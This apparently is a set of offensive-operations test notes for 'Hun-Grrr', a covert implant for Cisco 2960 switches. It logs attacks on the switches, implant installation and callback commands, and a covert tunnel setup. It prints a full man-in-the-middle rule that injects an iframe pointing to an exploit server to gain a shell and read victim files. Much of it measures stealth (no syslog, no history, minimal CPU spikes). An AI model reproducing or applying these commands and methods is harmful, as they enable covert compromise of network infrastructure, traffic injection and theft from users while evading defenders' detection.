Owner: User #71467

JQJTHRESHER Test Notes

3/4/2015 - User #76795

Followed README instructions to trigger HG.  Opened and setup Listening window first, then followed steps to open and setup Trigger window.  When I entered ./prep-ct.sh in the Trigger window, got the following message in the Listening window:

Bus error (core dumped) - spoke with User #76798/Xetron about this.  He says this is because ./prep-ct.sh is only meant to be run once.  It is in the README to run twice because the README assumes you are not triggering and listening on the same VM.

3/6/2015 - User #76795

Was trying different things with the Seeds host to get HG to call back without an explicit IP to impersonate.  I edited the ifcfg-eth1 file on Seeds to remove the DOMAIN variable and then saved my changes to the file.  Then I restarted network services on the Seeds host so my changes would take effect.  Noticed that I could no longer ping the default gateway from the Seeds host.  Logged into network gear to verifiy connections and found 3750G g1/0/11 in err-disable state with syslog message %ETHCTR-3-LOOP_BACK_DETECTED: Loopback detected on Gi1/0/11, putting Gi1/0/11 in err-disable state.  I bounced the port to restore and it came up/up.  I also check the TOR-SW-1 and found g1/0/3 in the same state.  Bounced port to restore.  Went back to ICON VMVirtual Machine to attempt to trigger again and now Trigger packets are not successful, where they were before.  Ran tcpdump on the Seeds host that is the destination for the trigger packet and it actually does receive the trigger packet.  HG is no longer picking up the trigger packet.  Reloaded 2960S to reinstall HG, and without HG installed, ports no longer to into err-disable state when I issue service network restart on Seeds.  Successfully re-attacked with HG and still do not see the err-disable issue.

Progress / Notes

1. TR team has performed initial review of configuration and Ops provided diagrams
2. TR team is moving required VMs at this time
3. Created Blot-Proxy, Blot-Onslaught, Blot-CoverWeb, ICON-CutThroat VMs.  Copied Fedora10-hg2960-Seeds VMVirtual Machine from NDBNetwork Devices Branch Lab to use for seed traffic.
4. Built test network with 2960S-24TS-L target switch, 3750G-24T Router and 3 2960-24TT-L switches.
5. Upgraded IOSApple operating system for small devices on target 2960S switch to c2960s-universalk9-mz.122-55.SE7.bin.  Updated confiugration to match config obtained from COG.
6. Uploaded Aquaman delivery package to ICON-CutThroat VMVirtual Machine and installed in /home/ubuntu.
7. Successfully attacked target 2960S switch with SSHIAC and installed Hun-Grrr. Note:
   1. On ICON-CutThroat VMVirtual Machine - had to move to Devlan temporarily to download the ia32-lib from the repo in order for SSHIAC to run
   2. Must enable the root account and su - root in each window you use when you attack with SSHIAC and use CutThroat
8. Modified Seeds scripts on Fedora10-hg2960-Seeds VMVirtual Machine to generate ICMP/ARP, DNSDomain Name System and HTTPHypertext Transfer Protocol traffic in our test network.
9. Established comms between Hun-Grrr and ICON-Cuthroat VM.
   1. Used beacon get_current_trigger_number and beacon set_current_trigger_number to make sure HG trigger sequence number was correct
   2. Had successful trigger packets however did not receive a callback
   3. User #76794/Xteron recommended to use beacon call_me_back https 443 -ii 172.31.255.2 and then finally comms came up, successful SSLSecure Socket Layer handshake in listening window.
10. Created new WebServer VMVirtual Machine to use as web destination for seed traffic - 172.20.13.25.
11. Created new BINDDNSDomain Name System server software DNSDomain Name System server VMVirtual Machine to resolve WebServer domain.  New BINDDNSDomain Name System server software server has google.com, cnn.com and blot.com zones.
12. IXIA added to the topology for traffic generation. Port 11 on IXIA to 0/1 on 3750 and IXIA Port 20 to 2960S 1/0/24
13. Spoke with BARTWELL and discussed network topology and CONOP.  We will need to update our testbed architecture to more closely match operational network.
14. Installed Flux on FluxHost VM
15. Copied Windex and Windex Target VMs to Test Range from NDBNetwork Devices Branch lab for use in SMITE testing
16. Re-configured topology based on latest 2960 configs from BARTWELL.
17. Fixed issue with Seeds traffic - added second DNSDomain Name System server and moved both DNSDomain Name System servers and Web server into public IP space.  HG comms now established without specifying a host to impersonate.
18. Successfully tested HG SMITE functionality using Windex-Victim-WinXPProSP3 (192.168.21.11), Windex (X.X.X.XX (LVLT-GOGL-8-8-8[US])), and our WebServer (X.X.X.XX (LVLT-GOGL-8-8-8[US])).
    1. User #76796/Xetron recommends always using the -bc and -bk flags when creating the mitm rule.  This bypasses compression and chunking, and SMITE did not work in our test scenario without these flags.
    2. User #76797/Xetron noted that the iframe is injected after the <body> tag, and if the body tag is split into two packets, HG will not add the iframe

    3. mitm create http_iframe 192.168.21.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk

19. Installed 12.2(50)SE5 on 2960#3 for use in testing Tunnel
20. Copied RANCID VMVirtual Machine from NDBNetwork Devices Branch Lab up to TestRange and configured for use on JQJTHRESHER testing
21. Reviewed Test Plan with team
22. Discussed CONOPConcealed Operation of use of Flux with Dualor Tunnel with Operator
23. Implanted 2960#3 with aquaman-3h survey delivery of HG and established comms from ICON-CT.
24. Completed the following Smoke Tests against the target 2960-S:
    1. Attack with SSHIAC
       1. SSHIAC produced the following out on CutThroat during install - LG EC-125 DHDiffie-Hellman encryption EC-60 EC-159 M
       2. Five second CPU on Target 2960-S hit 66% as a high during the SSHIAC attack, One minute - 22%, Five minute - 11%
       3. No commands seen in history
       4. No syslog messages generated
       5. Memory used increased by ~50k
    2. Installed HG - Aquaman-5h
       1. Installed with no delay set between packets
       2. Five second CPU hit 25% during install - note this is with 0 delay between packets
       3. Memory used increased by 2.8M after install from baseline
       4. No syslog messages generated
    3. Establish Comms with ICON-CT
       1. Five second CPU hit 19% during SSLSecure Socket Layer Handshake with ICON-CT
       2. No significant change to memory used (~1k)
    4. SMITE capability
       1. Successfully injected an Iframe into a web request and established a shell term connection with Windex
       2. Filter applied: mitm create http_iframe 192.168.21.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
       3. Note that -bc and -bk flags aree recommended by User #76799/Xetron for standard use because they offer the best chance of success.  These flags will bypass compression and chunking, and in fact SMITE does not work in our test environment without these flags configured.
       4. Five second CPU did not change from baseline - no noticeable spike
       5. No syslog messages generated.
       6. Took two screenshots - one of windex shellterm connection and one of victim source code showing Iframe for Test Report
    5. CI Test
       1. Used RANCID to compare configuration of Target 2960-S before any testing and configuration after previous smoke tests completed - RANCID found no change
       2. There were CPU spikes during SSHIAC and HG install, however these are known.  Need to confirm our CPU spikes are within expected levels.
       3. There was a change in the memory used after HG install, need to confirm if this is expected and within norms.
       4. Need to eyeball the output from show-tech from before and after to look for any anamolies - found output from show controllers - line sw forwarding is 0 untile HG installed, at which point it begins incrementing
          1. additional things to track down from sh tech - exec process, remote command vtp, show stacks - difference in processes listed
       5. Found no change to files or file sizes on file system
       6. Note that there is no "test platform debugger dumpmem" command available on this 2960-S.  Based on PW's Kingpin test report, this is the only IOSApple operating system for small devices (except ROMMONRead-Only Memory Monitor Cisco bootstrap program commands) that will allow inspection of HG memory.
       7. Time permitting could perform additional hidden commands
25. Completed the following Performance Tests against the target 2960-S
    1. Used IXIA Breaking Point to generate traffic and establish a baseline performance for the 2960-S.  IXIA cabled to 2960-S (g1/0/24) on one side and 3750G (g1/01/) on the other.  Traffic configured as follows:
       1. AppSim test component with BreakingPoint-Enterprise traffic profile
       2. Maximum bandwidth 75Mbps (while IXIA connects to Gigabit ports, the link between the IXIA and the 3750G is FastEthernet)
       3. 20 simulated hosts on 192.168.0.0/25 (VLANVirtual Local Area Network 1)
       4. 50 simulated hosts on 192.168.21.0/24 (VLANVirtual Local Area Network 21)
    2. During a 1 hour Baseline test without HG installed, target 2960-S one minute and five minute CPU Utilization remained steady at 6%.  Five second CPU had small spikes with a maximum of 39%.
    3. During 30 minute Performance test with HG installed, target 2960-S CPU recorded higher results than the baseline without HG:
       1. During SSHIAC attack, five second CPU had spikes to 57% and 54% for two minutes in row during SSHIAC attack, and one minute CPU was observed as high as 21% on show proc cpu sorted, and shows 30% on a show proc cpu history
       2. During HG install, five second CPU spiked to 28%
       3. During HG SSLSecure Socket Layer handshake with ICON-CT, five second CPU spiked to 18%
       4. Once HG was installed and comms established, CPU levels returned to what was observed during Baseline performance test without HG - one minute and five minute CPU levels at 6%, largest value for five second CPU was 9%.
       5. No significant change to CPU observed from Baseline during successful SMITE attack - largest five second CPU spike observed was 9%.
26. Samsonite Test Case - Uninstall HG and re-attack
    1. Reloaded 2960-S to start with a clean target device
    2. Attacked with SSHIAC, installed HG and established comms
    3. Attempted uninstall hg command device uninstall_hg - this command fails with error that says you must use -f flag
    4. Attempted uninstall hg command device uninstall_hg -f - then typed yes to confirm, result success.
    5. Checked used memory on the target 2960-S and the memory has gone back to down normal level without HG installed (may be slight difference, need to do the math), no syslog messages, no CPU spike
    6. Re-attacked using SSHIAC, installed HG, established HG comms - no anomalies
    7. Uninstalled HG again using device uninstall_hg -f - no anomalies
       1. No syslogs
       2. Used memory back to normal - could check math to find a small difference
27. Samsonite Test Case - Dropped connection during HG install
    1. Reloaded 2960-S to start with a clean target device
    2. Added 1 second of delay to HG upload in remote configuration file
    3. Attacked with SSHIAC
    4. Entered hg_start and after just a few chunks were sent, shut int g1/0/11 via console connection on 2960-S to simulate network outage
    5. ICON-CT reported HG install failed
    6. No syslog messages from switch
    7. Used memory still shows higher than it should, but not as high as if HG were installed - 27265180 (b)
    8. Issued no shut on 2960-S interface g1/0/11 to re-enable the connection
    9. Entered hg_start on ICON-CT and HG successfully uploaded - used memory after successful install - 29607324 (b)
28. Samsonite Test Case - Attempt to install HG when HG already installed
    1. Cannot initiate hg_start again via remote - reports comms failure
    2. Attempted to re-attack with SSHIAC - seemed to go through normal SSHIAC install process, however at the end of the install, could not establish comms with remote
       1. Broad didn't work
       2. hg_start fails
    3. Attempted to re-establish HG comms and that was successful
29. Samsonite Test Case - Enable MITMMan-In-The-Middle attack rule and execute system administrator commands
    1. Enabled the SMITE MITMMan-In-The-Middle attack rule used above in HG
    2. Performed the following with no anomalies observed
       1. Cleared log buffer
       2. Disable/re-enable logging
       3. Multiple show commands - mac-address table, memory, proc cpu, proc cpu hist, log,run
       4. Write mem
       5. Add/delete a user
       6. Add/delete a VLAN
    3. Verified that SMITE works by web browsing from Victim VMVirtual Machine - collected output from Wireshark running on Victim VMVirtual Machine which shows Iframe
30. Samsonite Test Case - Issue Cisco "test crash" command to test crash and generate a crashinfo
    1. With HG installed, issued test crash and selected reason as software forced crash
       1. Saved output of crashinfo file
       2. Saved log messages seen upon reboot of switch in log buffer
       3. Memory used had returned to normal levels for no HG, controller counters for sw forwarding back to 0
       4. Re-attacked with SSHIAC and installed HG and established HG comms successfully after test crash - with 1 second delay the five second CPU during HG install spiked to a max of 19%
    2. Without HG installed, repeated test crash - need to compare crashinfo
       1. Reloaded 2960-S to remove HG
       2. Issued "test crash" command with software forced crash as reason
       3. Saved output of crashinfo file
       4. Saved syslog messages seen up reboot of switch in log buffer - log messages are the same as seen on test crash with HG
31. Samsonite Test Case - Perform core dump of 2960-S
    1. Performed a write core and saved to TFTPFile transfer software server - both before and after HG install.
    2. Need to compare these files
32. Trigger and Callback through a HG Tunnel running Aquaman-3h on 2960
    1. Updated 2960#1 to 12.2(50)SE5 and implanted with Aquaman-3h delivery of HG
    2. Established comms with Aquaman-3h from ICON-CT on port 443
    3. Disabled setting in Aquaman-3h HG tunnel which will disable the tunnel if the tap IP becomes active
       1. Edit hg/config/tunnel.ini and change DetectTAPSrcTraffic=Yes to No
       2. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = Yes
       3. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg tunnel.ini and note in the output that DetectTAPSrcTraffic has been changed to No
       4. From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = No
       5. From Aquaman-3h CutThroat, type file put cfs/000000004B8FAF63.cfg default:000000004B8FAF63.cfg in order to load the new setting up to HG
       6. From Aquaman-3h CutThroat, type module restart default:CovertTunnel.mod to restart the module
          1. This did not work initially and Xetron is aware of this problem.  To fix, try restarting again, and run ilm refresh.
    4. Establish Dualor tunnel with tap IP 192.168.0.100
       1. From /hg/tools/dualor/linux, run ./Dualor .../configs/dualor-endpoint.ini and note that you get a message that CTCounter Terrorism is listening on port 444
       2. From Aquaman-3h CutThroat, run tun init tools/dualor/config/dualor-callback.ini and note that the SSLSecure Socket Layer session establishes
       3. Note that on ICON-CT VMVirtual Machine you know have a new interface called tap0 with an iP 192.168.0.110
    5. Add a route to ICON-CT for 192.168.21.0/24 to use tap0 interface - route add -net 192.168.21.0/24 dev tap0
    6. Move to Aquaman-5h setup - Edit aquaman-5h.txt Interface value under general settings to tap0, and set CommsH port to 445
    7. Establish HG comms using "beacon call_base_back https 192.168.0.110 445"
    8. Comms successfully established through Aquaman-3h tunnel
    9. Configured mitm rule for SMITE as in tests above and successfully exploited Victim VMVirtual Machine and read secrets.txt from Windex
33. Samsonite Test Case - Create MITMMan-In-The-Middle attack rule for SMITE multiple times
    1. Created the MITMMan-In-The-Middle attack rule twice in a row - command successful both times and two identical rules present in mitm show output
    2. Created a third identical MITMMan-In-The-Middle attack rule - now there are three identical MITMMan-In-The-Middle attack rules
    3. Iframe injection on Victim VMVirtual Machine successful - only 1 Iframe injected
    4. Deleted the two additional rules and added a rule with same filter settings except different iframe string - only one iframe injected and it is for lowest numbered rule
    5. Deleted the lowest numbered rule so now only 1 rule applied - iframe is injected that matches remaining rule
    6. Noticed that in our test setup HTMLHypertext Markup Language we have two body tags, and we actually get two iframes injected - one after each body tag, which results in two shellterm connection ids in Windex
    7. When multiple MITMMan-In-The-Middle attack rules are present for the same traffic, lowest numbered rule is the action performed
34. Samsonite Test Case - Reload FilterBroker.mod while mitm rule enabled
    1. Created a mitm rule and verified functionality by viewing source on the Victim VM
    2. On CutThroat session, entered module restart default:FilterBroker.mod
    3. Issued module show and saw two copies running - one status ModuleStopped, one status ModuleRunning
    4. Issued ilm refresh to attempt to clear the old copy of FilterBroker - however two copies still present in module show
    5. Ran mitm show and found no rules - restarting the module had deleted our rule
    6. Re-added a mitm rule and verified functionality by checking for the Iframe on Victim VM
    7. Checked module show and found that now, only one copy - status ModuleRunning - is present
35. Installed new 2960-S with PoE
36. Smoke Test - Install Aquaman-5h on PoE 2960-S
    1. Attack 2960-S with SSHIAC
       1. Five second CPU hit 58% during SSHIAC
       2. Observed same error codes in SSHIAC output as with non PoE 2960-S
    2. Install HG on 2960-S
       1. Five second CPU hit 26% during HG install
       2. No commands seen in history
       3. No syslog messages generated
       4. Used memory increased as expected
    3. Establish comms with ICON-CT
       1. Five second CPU spiked to 19% during SSLSecure Socket Layer handshake
       2. Successfully established HG comms
37. Smoke Test - Trigger and Callback through a HG Tunnel running Aquaman-3h on 2960 (2960-S with PoE)
    1. Establish Dualor tunnel with tap IP 192.168.0.100
       1. From /hg/tools/dualor/linux, run ./Dualor .../configs/dualor-endpoint.ini and note that you get a message that CTCounter Terrorism is listening on port 444
       2. From Aquaman-3h CutThroat, run tun init tools/dualor/config/dualor-callback.ini and note that the SSLSecure Socket Layer session establishes
       3. Note that on ICON-CT VMVirtual Machine you know have a new interface called tap0 with an iP 192.168.0.110
    2. Add a route to ICON-CT for 192.168.21.0/24 to use tap0 interface - route add -net 192.168.21.0/24 dev tap0
    3. Move to Aquaman-5h setup - Edit aquaman-5h.txt Interface value under general settings to tap0, and set CommsH port to 445
    4. Establish HG comms using "beacon call_base_back https 192.168.0.110 445"
    5. Comms successfully established through Aquaman-3h tunnel
    6. Configured mitm rule for SMITE as in tests above and successfully exploited Victim VMVirtual Machine and read secrets.txt from Windex
38. Observation - we have two <body> tags in our HTMLHypertext Markup Language on our web server for google.com.  When SMITE injects an iframe, we actually get two iframes inserted, once after each body tag.  This does not appear to cause any issues however we do get two session ids in shellterm.